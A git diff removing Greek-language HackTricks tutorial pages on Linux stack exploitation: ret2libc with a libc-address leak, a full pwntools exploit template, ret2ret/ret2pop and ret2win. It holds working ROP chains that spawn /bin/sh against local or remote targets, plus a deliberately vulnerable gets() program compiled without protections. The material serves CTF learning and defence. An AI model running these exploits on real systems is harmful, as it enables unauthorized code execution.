-rop1 = OFFSET + p64(POP_RDI) + p64(FUNC_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT) - -#Send our rop-chain payload -#p.sendlineafter("dah?", rop1) #Interesting to send in a specific moment -print(p.clean()) # clean socket buffer (read all and print) -p.sendline(rop1) - -#Parse leaked address -recieved = p.recvline().strip() -leak = u64(recieved.ljust(8, "\x00")) -log.info("Leaked libc address, "+func_name+": "+ hex(leak)) -#If not libc yet, stop here -if libc != "": -libc.address = leak - libc.symbols[func_name] #Save libc base -log.info("libc base @ %s" % hex(libc.address)) - -return hex(leak) - -get_addr("puts") #Search for puts address in memmory to obtains libc base -if libc == "": -print("Find the libc library and continue with the exploit... (https://libc.blukat.me/)") -p.interactive() -``` -Για να το κάνετε αυτό, η πιο σημαντική γραμμή του εκτελούμενου κώδικα είναι: -```python -rop1 = OFFSET + p64(POP_RDI) + p64(FUNC_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT) -``` -Αυτό θα στείλει μερικά bytes μέχρι να είναι δυνατή η **επικάλυψη** του **RIP**: `OFFSET`.\ -Στη συνέχεια, θα ρυθμίσει τη **διεύθυνση** του gadget `POP_RDI` έτσι ώστε η επόμενη διεύθυνση (`FUNC_GOT`) να αποθηκευτεί στο μητρώο **RDI**. Αυτό συμβαίνει επειδή θέλουμε να **καλέσουμε το puts** **περνώντας** τη **διεύθυνση** του `PUTS_GOT` καθώς η διεύθυνση στη μνήμη της συνάρτησης puts αποθηκεύεται στη διεύθυνση που δείχνει το `PUTS_GOT`.\ -Μετά από αυτό, θα κληθεί το `PUTS_PLT` (με το `PUTS_GOT` μέσα στο **RDI**) έτσι ώστε το puts να **διαβάσει το περιεχόμενο** μέσα στο `PUTS_GOT` (**η διεύθυνση της συνάρτησης puts στη μνήμη**) και θα **το εκτυπώσει**.\ -Τέλος, **η κύρια συνάρτηση καλείται ξανά** ώστε να μπορέσουμε να εκμεταλλευτούμε την υπερχείλιση ξανά. - -Με αυτόν τον τρόπο έχουμε **παγιδεύσει τη συνάρτηση puts** να **εκτυπώσει** τη **διεύθυνση** στη **μνήμη** της συνάρτησης **puts** (η οποία είναι μέσα στη βιβλιοθήκη **libc**). Τώρα που έχουμε αυτή τη διεύθυνση, μπορούμε να **αναζητήσουμε ποια έκδοση της libc χρησιμοποιείται**. - -![](<../../../../../images/image (141).png>) - -Καθώς **εκμεταλλευόμαστε** κάποιο **τοπικό** δυαδικό, **δεν είναι απαραίτητο** να καταλάβουμε ποια έκδοση της **libc** χρησιμοποιείται (απλά βρείτε τη βιβλιοθήκη στο `/lib/x86_64-linux-gnu/libc.so.6`).\ -Αλλά, σε περίπτωση απομακρυσμένης εκμετάλλευσης, θα εξηγήσω εδώ πώς μπορείτε να το βρείτε: - -### 3.1- Αναζητώντας την έκδοση της libc (1) - -Μπορείτε να αναζητήσετε ποια βιβλιοθήκη χρησιμοποιείται στη σελίδα: [https://libc.blukat.me/](https://libc.blukat.me)\ -Θα σας επιτρέψει επίσης να κατεβάσετε την ανακαλυφθείσα έκδοση της **libc** - -![](<../../../../../images/image (142).png>) - -### 3.2- Αναζητώντας την έκδοση της libc (2) - -Μπορείτε επίσης να κάνετε: - -- `$ git clone https://github.com/niklasb/libc-database.git` -- `$ cd libc-database` -- `$ ./get` - -Αυτό θα πάρει λίγο χρόνο, να είστε υπομονετικοί.\ -Για να λειτουργήσει αυτό, χρειαζόμαστε: - -- Όνομα συμβόλου libc: `puts` -- Διεύθυνση libc που διαρρέει: `0x7ff629878690` - -Μπορούμε να καταλάβουμε ποια **libc** είναι πιο πιθανό να χρησιμοποιείται. -```bash -./find puts 0x7ff629878690 -ubuntu-xenial-amd64-libc6 (id libc6_2.23-0ubuntu10_amd64) -archive-glibc (id libc6_2.23-0ubuntu11_amd64) -``` -Παίρνουμε 2 αντιστοιχίες (θα πρέπει να δοκιμάσετε τη δεύτερη αν η πρώτη δεν λειτουργεί). Κατεβάστε την πρώτη: -```bash -./download libc6_2.23-0ubuntu10_amd64 -Getting libc6_2.23-0ubuntu10_amd64 --> Location: http://security.ubuntu.com/ubuntu/pool/main/g/glibc/libc6_2.23-0ubuntu10_amd64.deb --> Downloading package --> Extracting package --> Package saved to libs/libc6_2.23-0ubuntu10_amd64 -``` -Αντιγράψτε τη libc από `libs/libc6_2.23-0ubuntu10_amd64/libc-2.23.so` στον κατάλογο εργασίας μας. - -### 3.3- Άλλες συναρτήσεις για διαρροή -```python -puts -printf -__libc_start_main -read -gets -``` -## 4- Εύρεση διεύθυνσης libc βάσει & εκμετάλλευση - -Σε αυτό το σημείο θα πρέπει να γνωρίζουμε τη βιβλιοθήκη libc που χρησιμοποιείται. Καθώς εκμεταλλευόμαστε ένα τοπικό δυαδικό, θα χρησιμοποιήσω απλώς: `/lib/x86_64-linux-gnu/libc.so.6` - -Έτσι, στην αρχή του `template.py` αλλάξτε τη μεταβλητή **libc** σε: `libc = ELF("/lib/x86_64-linux-gnu/libc.so.6") #Set library path when know it` - -Δίνοντας τη **διαδρομή** στη **βιβλιοθήκη libc**, το υπόλοιπο της **εκμετάλλευσης θα υπολογιστεί αυτόματα**. - -Μέσα στη συνάρτηση `get_addr`, η **βάση διεύθυνση της libc** θα υπολογιστεί: -```python -if libc != "": -libc.address = leak - libc.symbols[func_name] #Save libc base -log.info("libc base @ %s" % hex(libc.address)) -``` -> [!NOTE] -> Σημειώστε ότι **η τελική διεύθυνση βάσης της libc πρέπει να τελειώνει σε 00**. Αν αυτό δεν ισχύει για εσάς, μπορεί να έχετε διαρρεύσει μια λανθασμένη βιβλιοθήκη. - -Στη συνέχεια, η διεύθυνση της συνάρτησης `system` και η **διεύθυνση** της συμβολοσειράς _"/bin/sh"_ θα υπολογιστούν από τη **διεύθυνση βάσης** της **libc** και θα δοθούν τη **βιβλιοθήκη libc.** -```python -BINSH = next(libc.search("/bin/sh")) - 64 #Verify with find /bin/sh -SYSTEM = libc.sym["system"] -EXIT = libc.sym["exit"] - -log.info("bin/sh %s " % hex(BINSH)) -log.info("system %s " % hex(SYSTEM)) -``` -Τέλος, η εκμετάλλευση εκτέλεσης /bin/sh θα προετοιμαστεί για αποστολή: -```python -rop2 = OFFSET + p64(POP_RDI) + p64(BINSH) + p64(SYSTEM) + p64(EXIT) - -p.clean() -p.sendline(rop2) - -#### Interact with the shell ##### -p.interactive() #Interact with the conenction -``` -Ας εξηγήσουμε αυτό το τελικό ROP.\ -Το τελευταίο ROP (`rop1`) καλέστηκε ξανά η κύρια συνάρτηση, οπότε μπορούμε να **εκμεταλλευτούμε ξανά** την **υπερχείλιση** (γι' αυτό ο `OFFSET` είναι εδώ ξανά). Στη συνέχεια, θέλουμε να καλέσουμε `POP_RDI` δείχνοντας στη **διεύθυνση** του _"/bin/sh"_ (`BINSH`) και να καλέσουμε τη συνάρτηση **system** (`SYSTEM`) επειδή η διεύθυνση του _"/bin/sh"_ θα περαστεί ως παράμετρος.\ -Τέλος, η **διεύθυνση της συνάρτησης εξόδου** καλείται ώστε η διαδικασία να **εξέρχεται ωραία** και να μην δημιουργείται καμία ειδοποίηση. - -**Με αυτόν τον τρόπο η εκμετάλλευση θα εκτελέσει ένα _/bin/sh**_ shell.** - -![](<../../../../../images/image (143).png>) - -## 4(2)- Χρησιμοποιώντας το ONE_GADGET - -Μπορείτε επίσης να χρησιμοποιήσετε [**ONE_GADGET** ](https://github.com/david942j/one_gadget) για να αποκτήσετε ένα shell αντί να χρησιμοποιήσετε **system** και **"/bin/sh". ONE_GADGET** θα βρει μέσα στη βιβλιοθήκη libc κάποιον τρόπο για να αποκτήσει ένα shell χρησιμοποιώντας μόνο μία **διεύθυνση ROP**.\ -Ωστόσο, συνήθως υπάρχουν κάποιους περιορισμούς, οι πιο κοινοί και εύκολοι να αποφευχθούν είναι όπως `[rsp+0x30] == NULL` Καθώς ελέγχετε τις τιμές μέσα στο **RSP** απλά πρέπει να στείλετε μερικές περισσότερες NULL τιμές ώστε να αποφευχθεί ο περιορισμός. - -![](<../../../../../images/image (615).png>) -```python -ONE_GADGET = libc.address + 0x4526a -rop2 = base + p64(ONE_GADGET) + "\x00"*100 -``` -## EXPLOIT FILE - -Μπορείτε να βρείτε ένα πρότυπο για να εκμεταλλευτείτε αυτήν την ευπάθεια εδώ: - -{{#ref}} -rop-leaking-libc-template.md -{{#endref}} - -## Common problems - -### MAIN_PLT = elf.symbols\['main'] not found - -Εάν το σύμβολο "main" δεν υπάρχει. Τότε μπορείτε να βρείτε πού είναι ο κύριος κώδικας: -```python -objdump -d vuln_binary | grep "\.text" -Disassembly of section .text: -0000000000401080 <.text>: -``` -και ορίστε τη διεύθυνση χειροκίνητα: -```python -MAIN_PLT = 0x401080 -``` -### Puts not found - -Αν το δυαδικό αρχείο δεν χρησιμοποιεί Puts, θα πρέπει να ελέγξετε αν χρησιμοποιεί - -### `sh: 1: %s%s%s%s%s%s%s%s: not found` - -Αν βρείτε αυτό το **σφάλμα** μετά τη δημιουργία **όλων** των exploit: `sh: 1: %s%s%s%s%s%s%s%s: not found` - -Δοκιμάστε να **αφαιρέσετε 64 bytes από τη διεύθυνση του "/bin/sh"**: -```python -BINSH = next(libc.search("/bin/sh")) - 64 -``` -{{#include ../../../../../banners/hacktricks-training.md}} diff --git a/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2lib/rop-leaking-libc-address/rop-leaking-libc-template.md b/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2lib/rop-leaking-libc-address/rop-leaking-libc-template.md deleted file mode 100644 index 640b4be1a..000000000 --- a/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2lib/rop-leaking-libc-address/rop-leaking-libc-template.md +++ /dev/null @@ -1,211 +0,0 @@ -{{#include ../../../../../banners/hacktricks-training.md}} -```python:template.py -from pwn import ELF, process, ROP, remote, ssh, gdb, cyclic, cyclic_find, log, p64, u64 # Import pwntools - - -################### -### CONNECTION #### -################### -LOCAL = False -REMOTETTCP = True -REMOTESSH = False -GDB = False -USE_ONE_GADGET = False - -LOCAL_BIN = "./vuln" -REMOTE_BIN = "~/vuln" #For ssh -LIBC = "" #ELF("/lib/x86_64-linux-gnu/libc.so.6") #Set library path when know it -ENV = {"LD_PRELOAD": LIBC} if LIBC else {} - -if LOCAL: -P = process(LOCAL_BIN, env=ENV) # start the vuln binary -ELF_LOADED = ELF(LOCAL_BIN)# Extract data from binary -ROP_LOADED = ROP(ELF_LOADED)# Find ROP gadgets - -elif REMOTETTCP: -P = remote('10.10.10.10',1339) # start the vuln binary -ELF_LOADED = ELF(LOCAL_BIN)# Extract data from binary -ROP_LOADED = ROP(ELF_LOADED)# Find ROP gadgets - -elif REMOTESSH: -ssh_shell = ssh('bandit0', 'bandit.labs.overthewire.org', password='bandit0', port=2220) -p = ssh_shell.process(REMOTE_BIN) # start the vuln binary -elf = ELF(LOCAL_BIN)# Extract data from binary -rop = ROP(elf)# Find ROP gadgets - -if GDB and not REMOTETTCP and not REMOTESSH: -# attach gdb and continue -# You can set breakpoints, for example "break *main" -gdb.attach(P.pid, "b *main") - - - -######################### -#### OFFSET FINDER ###### -######################### - -OFFSET = b"" #b"A"*264 -if OFFSET == b"": -gdb.attach(P.pid, "c") #Attach and continue -payload = cyclic(264) -payload += b"AAAAAAAA" -print(P.clean()) -P.sendline(payload) -#x/wx $rsp -- Search for bytes that crashed the application -#print(cyclic_find(0x63616171)) # Find the offset of those bytes -P.interactive() -exit() - - - -#################### -### Find Gadgets ### -#################### -try: -libc_func = "puts" -PUTS_PLT = ELF_LOADED.plt['puts'] #PUTS_PLT = ELF_LOADED.symbols["puts"] # This is also valid to call puts -except: -libc_func = "printf" -PUTS_PLT = ELF_LOADED.plt['printf'] - -MAIN_PLT = ELF_LOADED.symbols['main'] -POP_RDI = (ROP_LOADED.find_gadget(['pop rdi', 'ret']))[0] #Same as ROPgadget --binary vuln | grep "pop rdi" -RET = (ROP_LOADED.find_gadget(['ret']))[0] - -log.info("Main start: " + hex(MAIN_PLT)) -log.info("Puts plt: " + hex(PUTS_PLT)) -log.info("pop rdi; ret gadget: " + hex(POP_RDI)) -log.info("ret gadget: " + hex(RET)) - - -######################## -### Find LIBC offset ### -######################## - -def generate_payload_aligned(rop): -payload1 = OFFSET + rop -if (len(payload1) % 16) == 0: -return payload1 - -else: -payload2 = OFFSET + p64(RET) + rop -if (len(payload2) % 16) == 0: -log.info("Payload aligned successfully") -return payload2 -else: -log.warning(f"I couldn't align the payload! Len: {len(payload1)}") -return payload1 - - -def get_addr(libc_func): -FUNC_GOT = ELF_LOADED.got[libc_func] -log.info(libc_func + " GOT @ " + hex(FUNC_GOT)) -# Create rop chain -rop1 = p64(POP_RDI) + p64(FUNC_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT) -rop1 = generate_payload_aligned(rop1) - -# Send our rop-chain payload -#P.sendlineafter("dah?", rop1) #Use this to send the payload when something is received -print(P.clean()) # clean socket buffer (read all and print) -P.sendline(rop1) - -# If binary is echoing back the payload, remove that message -recieved = P.recvline().strip() -if OFFSET[:30] in recieved: -recieved = P.recvline().strip() - -# Parse leaked address -log.info(f"Len rop1: {len(rop1)}") -leak = u64(recieved.ljust(8, b"\x00")) -log.info(f"Leaked LIBC address, {libc_func}: {hex(leak)}") - -# Set lib base address -if LIBC: -LIBC.address = leak - LIBC.symbols[libc_func] #Save LIBC base -print("If LIBC base doesn't end end 00, you might be using an icorrect libc library") -log.info("LIBC base @ %s" % hex(LIBC.address)) - -# If not LIBC yet, stop here -else: -print("TO CONTINUE) Find the LIBC library and continue with the exploit... (https://LIBC.blukat.me/)") -P.interactive() - -return hex(leak) - -get_addr(libc_func) #Search for puts address in memmory to obtain LIBC base - - - -############################# -#### FINAL EXPLOITATION ##### -############################# - -## Via One_gadget (https://github.com/david942j/one_gadget) -# gem install one_gadget -def get_one_gadgets(libc): -import string, subprocess -args = ["one_gadget", "-r"] -if len(libc) == 40 and all(x in string.hexdigits for x in libc.hex()): -args += ["-b", libc.hex()] -else: -args += [libc] -try: -one_gadgets = [int(offset) for offset in subprocess.check_output(args).decode('ascii').strip().split()] -except: -print("One_gadget isn't installed") -one_gadgets = [] -return - -rop2 = b"" -if USE_ONE_GADGET: -one_gadgets = get_one_gadgets(LIBC) -if one_gadgets: -rop2 = p64(one_gadgets[0]) + "\x00"*100 #Usually this will fullfit the constrains - -## Normal/Long exploitation -if not rop2: -BINSH = next(LIBC.search(b"/bin/sh")) #Verify with find /bin/sh -SYSTEM = LIBC.sym["system"] -EXIT = LIBC.sym["exit"] - -log.info("POP_RDI %s " % hex(POP_RDI)) -log.info("bin/sh %s " % hex(BINSH)) -log.info("system %s " % hex(SYSTEM)) -log.info("exit %s " % hex(EXIT)) - -rop2 = p64(POP_RDI) + p64(BINSH) + p64(SYSTEM) #p64(EXIT) -rop2 = generate_payload_aligned(rop2) - - -print(P.clean()) -P.sendline(rop2) - -P.interactive() #Interact with your shell :) -``` -# Κοινά προβλήματα - -## MAIN_PLT = elf.symbols\['main'] δεν βρέθηκε - -Αν το σύμβολο "main" δεν υπάρχει (πιθανώς επειδή είναι ένα stripped binary). Τότε μπορείτε απλά να δείτε πού είναι ο κύριος κώδικας: -```python -objdump -d vuln_binary | grep "\.text" -Disassembly of section .text: -0000000000401080 <.text>: -``` -και ορίστε τη διεύθυνση χειροκίνητα: -```python -MAIN_PLT = 0x401080 -``` -## Puts not found - -Αν το δυαδικό αρχείο δεν χρησιμοποιεί Puts, θα πρέπει να ελέγξετε αν χρησιμοποιεί - -## `sh: 1: %s%s%s%s%s%s%s%s: not found` - -Αν βρείτε αυτό το **σφάλμα** μετά τη δημιουργία **όλων** των exploit: `sh: 1: %s%s%s%s%s%s%s%s: not found` - -Δοκιμάστε να **αφαιρέσετε 64 bytes από τη διεύθυνση του "/bin/sh"**: -```python -BINSH = next(libc.search("/bin/sh")) - 64 -``` -{{#include ../../../../../banners/hacktricks-training.md}} diff --git a/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2ret.md b/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2ret.md deleted file mode 100644 index 73d78ab4c..000000000 --- a/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2ret.md +++ /dev/null @@ -1,33 +0,0 @@ -# Ret2ret & Reo2pop - -{{#include ../../../banners/hacktricks-training.md}} - -## Ret2ret - -Ο κύριος στόχος αυτής της τεχνικής είναι να προσπαθήσει να **παρακάμψει το ASLR εκμεταλλευόμενος έναν υπάρχοντα δείκτη στη στοίβα**. - -Βασικά, οι υπερχειλίσεις στοίβας προκαλούνται συνήθως από συμβολοσειρές, και **οι συμβολοσειρές τελειώνουν με ένα null byte στο τέλος** στη μνήμη. Αυτό επιτρέπει να προσπαθήσουμε να μειώσουμε τη θέση που δείχνει ένας υπάρχων δείκτης ήδη στη στοίβα. Έτσι, αν η στοίβα περιείχε `0xbfffffdd`, αυτή η υπερχείλιση θα μπορούσε να την μετατρέψει σε `0xbfffff00` (σημειώστε το τελευταίο μηδενικό byte). - -Αν αυτή η διεύθυνση δείχνει στον shellcode μας στη στοίβα, είναι δυνατόν να κάνουμε τη ροή να φτάσει σε αυτή τη διεύθυνση προσθέτοντας διευθύνσεις στην εντολή `ret` μέχρι να φτάσει αυτή. - -Επομένως, η επίθεση θα ήταν ως εξής: - -- NOP sled -- Shellcode -- Επικαλύψτε τη στοίβα από το EIP με **διευθύνσεις προς `ret`** (RET sled) -- 0x00 προστίθεται από τη συμβολοσειρά τροποποιώντας μια διεύθυνση από τη στοίβα κάνοντάς την να δείχνει στο NOP sled - -Ακολουθώντας [**αυτόν τον σύνδεσμο**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/ret2ret.c) μπορείτε να δείτε ένα παράδειγμα ενός ευάλωτου δυαδικού και [**σε αυτόν**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/ret2retexploit.c) την εκμετάλλευση. - -## Ret2pop - -Σε περίπτωση που μπορείτε να βρείτε έναν **τέλειο δείκτη στη στοίβα που δεν θέλετε να τροποποιήσετε** (στο `ret2ret` αλλάζουμε το τελικό χαμηλότερο byte σε `0x00`), μπορείτε να εκτελέσετε την ίδια επίθεση `ret2ret`, αλλά το **μήκος του RET sled πρέπει να μειωθεί κατά 1** (έτσι το τελικό `0x00` επικαλύπτει τα δεδομένα ακριβώς πριν από τον τέλειο δείκτη), και η **τελευταία** διεύθυνση του RET sled πρέπει να δείχνει σε **`pop ; ret`**.\ -Με αυτόν τον τρόπο, τα **δεδομένα πριν από τον τέλειο δείκτη θα αφαιρεθούν** από τη στοίβα (αυτά είναι τα δεδομένα που επηρεάζονται από το `0x00`) και το **τελικό `ret` θα δείχνει στη τέλεια διεύθυνση** στη στοίβα χωρίς καμία αλλαγή. - -Ακολουθώντας [**αυτόν τον σύνδεσμο**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/ret2pop.c) μπορείτε να δείτε ένα παράδειγμα ενός ευάλωτου δυαδικού και [**σε αυτόν**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/ret2popexploit.c) την εκμετάλλευση. - -## References - -- [https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md) - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2win.md b/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2win.md deleted file mode 100644 index 28979eacb..000000000 --- a/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2win.md +++ /dev/null @@ -1,91 +0,0 @@ -# Ret2win - -{{#include ../../../banners/hacktricks-training.md}} - -## Basic Information - -Οι προκλήσεις **Ret2win** είναι μια δημοφιλής κατηγορία στους διαγωνισμούς **Capture The Flag (CTF)**, ιδιαίτερα σε εργασίες που περιλαμβάνουν **binary exploitation**. Ο στόχος είναι να εκμεταλλευτούμε μια ευπάθεια σε μια δεδομένη δυαδική μορφή για να εκτελέσουμε μια συγκεκριμένη, μη κληθείσα συνάρτηση μέσα στη δυαδική μορφή, συχνά ονομαζόμενη κάτι όπως `win`, `flag`, κ.λπ. Αυτή η συνάρτηση, όταν εκτελείται, συνήθως εκτυπώνει μια σημαία ή ένα μήνυμα επιτυχίας. Η πρόκληση περιλαμβάνει συνήθως την επαναγραφή της **διεύθυνσης επιστροφής** στη στοίβα για να κατευθύνει τη ροή εκτέλεσης στη επιθυμητή συνάρτηση. Ακολουθεί μια πιο λεπτομερής εξήγηση με παραδείγματα: - -### C Example - -Σκεφτείτε ένα απλό πρόγραμμα C με μια ευπάθεια και μια συνάρτηση `win` που σκοπεύουμε να καλέσουμε: -```c -#include -#include - -void win() { -printf("Congratulations! You've called the win function.\n"); -} - -void vulnerable_function() { -char buf[64]; -gets(buf); // This function is dangerous because it does not check the size of the input, leading to buffer overflow. -} - -int main() { -vulnerable_function(); -return 0; -} -``` -Για να μεταγλωττίσετε αυτό το πρόγραμμα χωρίς προστασίες στο στοίβασμα και με το **ASLR** απενεργοποιημένο, μπορείτε να χρησιμοποιήσετε την παρακάτω εντολή: -```sh -gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c -``` -- `-m32`: Συγκεντρώστε το πρόγραμμα ως 32-bit δυαδικό (αυτό είναι προαιρετικό αλλά κοινό σε προκλήσεις CTF). -- `-fno-stack-protector`: Απενεργοποιήστε τις προστασίες κατά των υπερχειλίσεων στο στοίβα. -- `-z execstack`: Επιτρέψτε την εκτέλεση κώδικα στη στοίβα. -- `-no-pie`: Απενεργοποιήστε το Position Independent Executable για να διασφαλίσετε ότι η διεύθυνση της συνάρτησης `win` δεν αλλάζει. -- `-o vulnerable`: Ονομάστε το αρχείο εξόδου `vulnerable`. - -### Python Exploit using Pwntools - -Για την εκμετάλλευση, θα χρησιμοποιήσουμε **pwntools**, ένα ισχυρό πλαίσιο CTF για τη συγγραφή εκμεταλλεύσεων. Το σενάριο εκμετάλλευσης θα δημιουργήσει ένα payload για να υπερχειλίσει το buffer και να αντικαταστήσει τη διεύθυνση επιστροφής με τη διεύθυνση της συνάρτησης `win`. -```python -from pwn import * - -# Set up the process and context for the binary -binary_path = './vulnerable' -p = process(binary_path) -context.binary = binary_path - -# Find the address of the win function -win_addr = p32(0x08048456) # Replace 0x08048456 with the actual address of the win function in your binary - -# Create the payload -# The buffer size is 64 bytes, and the saved EBP is 4 bytes. Hence, we need 68 bytes before we overwrite the return address. -payload = b'A' * 68 + win_addr - -# Send the payload -p.sendline(payload) -p.interactive() -``` -Για να βρείτε τη διεύθυνση της συνάρτησης `win`, μπορείτε να χρησιμοποιήσετε **gdb**, **objdump** ή οποιοδήποτε άλλο εργαλείο που σας επιτρέπει να επιθεωρείτε δυαδικά αρχεία. Για παράδειγμα, με το `objdump`, μπορείτε να χρησιμοποιήσετε: -```sh -objdump -d vulnerable | grep win -``` -Αυτή η εντολή θα σας δείξει τη συναρμολόγηση της συνάρτησης `win`, συμπεριλαμβανομένης της διεύθυνσης εκκίνησής της. - -Το σενάριο Python στέλνει ένα προσεκτικά κατασκευασμένο μήνυμα που, όταν επεξεργαστεί από τη `vulnerable_function`, υπερχειλίζει το buffer και αντικαθιστά τη διεύθυνση επιστροφής στο stack με τη διεύθυνση της `win`. Όταν η `vulnerable_function` επιστρέφει, αντί να επιστρέψει στη `main` ή να τερματίσει, πηδά στη `win`, και το μήνυμα εκτυπώνεται. - -## Προστασίες - -- [**PIE**](../common-binary-protections-and-bypasses/pie/index.html) **θα πρέπει να είναι απενεργοποιημένο** για να είναι η διεύθυνση αξιόπιστη σε όλες τις εκτελέσεις ή η διεύθυνση όπου θα αποθηκευτεί η συνάρτηση δεν θα είναι πάντα η ίδια και θα χρειαστείτε κάποια διαρροή για να καταλάβετε πού είναι φορτωμένη η συνάρτηση win. Σε ορισμένες περιπτώσεις, όταν η συνάρτηση που προκαλεί την υπερχείλιση είναι η `read` ή παρόμοια, μπορείτε να κάνετε μια **Μερική Υπεργραφή** 1 ή 2 byte για να αλλάξετε τη διεύθυνση επιστροφής ώστε να είναι η συνάρτηση win. Λόγω του πώς λειτουργεί το ASLR, τα τελευταία τρία hex nibbles δεν είναι τυχαία, οπότε υπάρχει μια **1/16 πιθανότητα** (1 nibble) να αποκτήσετε τη σωστή διεύθυνση επιστροφής. -- [**Stack Canaries**](../common-binary-protections-and-bypasses/stack-canaries/index.html) θα πρέπει επίσης να είναι απενεργοποιημένα ή η συμβιβασμένη διεύθυνση επιστροφής EIP δεν θα ακολουθηθεί ποτέ. - -## Άλλα παραδείγματα & Αναφορές - -- [https://ir0nstone.gitbook.io/notes/types/stack/ret2win](https://ir0nstone.gitbook.io/notes/types/stack/ret2win) -- [https://guyinatuxedo.github.io/04-bof_variable/tamu19_pwn1/index.html](https://guyinatuxedo.github.io/04-bof_variable/tamu19_pwn1/index.html) -- 32bit, χωρίς ASLR -- [https://guyinatuxedo.github.io/05-bof_callfunction/csaw16_warmup/index.html](https://guyinatuxedo.github.io/05-bof_callfunction/csaw16_warmup/index.html) -- 64 bits με ASLR, με μια διαρροή της διεύθυνσης bin -- [https://guyinatuxedo.github.io/05-bof_callfunction/csaw18_getit/index.html](https://guyinatuxedo.github.io/05-bof_callfunction/csaw18_getit/index.html) -- 64 bits, χωρίς ASLR -- [https://guyinatuxedo.github.io/05-bof_callfunction/tu17_vulnchat/index.html](https://guyinatuxedo.github.io/05-bof_callfunction/tu17_vulnchat/index.html) -- 32 bits, χωρίς ASLR, διπλή μικρή υπερχείλιση, πρώτα για να υπερχειλίσει το stack και να αυξήσει το μέγεθος της δεύτερης υπερχείλισης -- [https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html](https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html) -- 32 bit, relro, χωρίς canary, nx, χωρίς pie, μορφή συμβολοσειράς για να αντικαταστήσει τη διεύθυνση `fflush` με τη συνάρτηση win (ret2win) -- [https://7rocky.github.io/en/ctf/other/blackhat-ctf/fno-stack-protector/](https://7rocky.github.io/en/ctf/other/blackhat-ctf/fno-stack-protector/) -- 64 bit, relro, χωρίς canary, nx, pie. Μερική υπερχείλιση για να καλέσετε τη συνάρτηση win (ret2win) - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/rop-return-oriented-programing.md b/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/rop-return-oriented-programing.md deleted file mode 100644 index 8903bdfc4..000000000 --- a/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/rop-return-oriented-programing.md +++ /dev/null @@ -1,176 +0,0 @@ -# ROP - Return Oriented Programing - -{{#include ../../../banners/hacktricks-training.md}} - -## **Βασικές Πληροφορίες** - -**Return-Oriented Programming (ROP)** είναι μια προηγμένη τεχνική εκμετάλλευσης που χρησιμοποιείται για να παρακαμφθούν τα μέτρα ασφαλείας όπως το **No-Execute (NX)** ή το **Data Execution Prevention (DEP)**. Αντί να εισάγει και να εκτελεί shellcode, ένας επιτιθέμενος εκμεταλλεύεται κομμάτια κώδικα που είναι ήδη παρόντα στο δυαδικό αρχείο ή σε φορτωμένες βιβλιοθήκες, γνωστά ως **"gadgets"**. Κάθε gadget συνήθως τελειώνει με μια εντολή `ret` και εκτελεί μια μικρή λειτουργία, όπως η μετακίνηση δεδομένων μεταξύ καταχωρητών ή η εκτέλεση αριθμητικών πράξεων. Συνδυάζοντας αυτά τα gadgets, ένας επιτιθέμενος μπορεί να κατασκευάσει ένα payload για να εκτελέσει αυθαίρετες λειτουργίες, παρακάμπτοντας αποτελεσματικά τις προστασίες NX/DEP. - -### Πώς Λειτουργεί το ROP - -1. **Hijacking Ροής Ελέγχου**: Πρώτα, ένας επιτιθέμενος πρέπει να hijack τη ροή ελέγχου ενός προγράμματος, συνήθως εκμεταλλευόμενος μια υπερχείλιση buffer για να αντικαταστήσει μια αποθηκευμένη διεύθυνση επιστροφής στο stack. -2. **Συγκέντρωση Gadgets**: Ο επιτιθέμενος στη συνέχεια επιλέγει προσεκτικά και συνδυάζει gadgets για να εκτελέσει τις επιθυμητές ενέργειες. Αυτό μπορεί να περιλαμβάνει τη ρύθμιση παραμέτρων για μια κλήση συνάρτησης, την κλήση της συνάρτησης (π.χ., `system("/bin/sh")`), και τη διαχείριση οποιασδήποτε απαραίτητης καθαριότητας ή πρόσθετων λειτουργιών. -3. **Εκτέλεση Payload**: Όταν η ευάλωτη συνάρτηση επιστρέφει, αντί να επιστρέψει σε μια νόμιμη τοποθεσία, αρχίζει να εκτελεί την αλυσίδα των gadgets. - -### Εργαλεία - -Συνήθως, τα gadgets μπορούν να βρεθούν χρησιμοποιώντας **[ROPgadget](https://github.com/JonathanSalwan/ROPgadget)**, **[ropper](https://github.com/sashs/Ropper)** ή απευθείας από **pwntools** ([ROP](https://docs.pwntools.com/en/stable/rop/rop.html)). - -## ROP Chain σε Παράδειγμα x86 - -### **x86 (32-bit) Συμβάσεις Κλήσης** - -- **cdecl**: Ο καλών καθαρίζει το stack. Οι παράμετροι της συνάρτησης τοποθετούνται στο stack με αντίστροφη σειρά (δεξιά προς τα αριστερά). **Οι παράμετροι τοποθετούνται 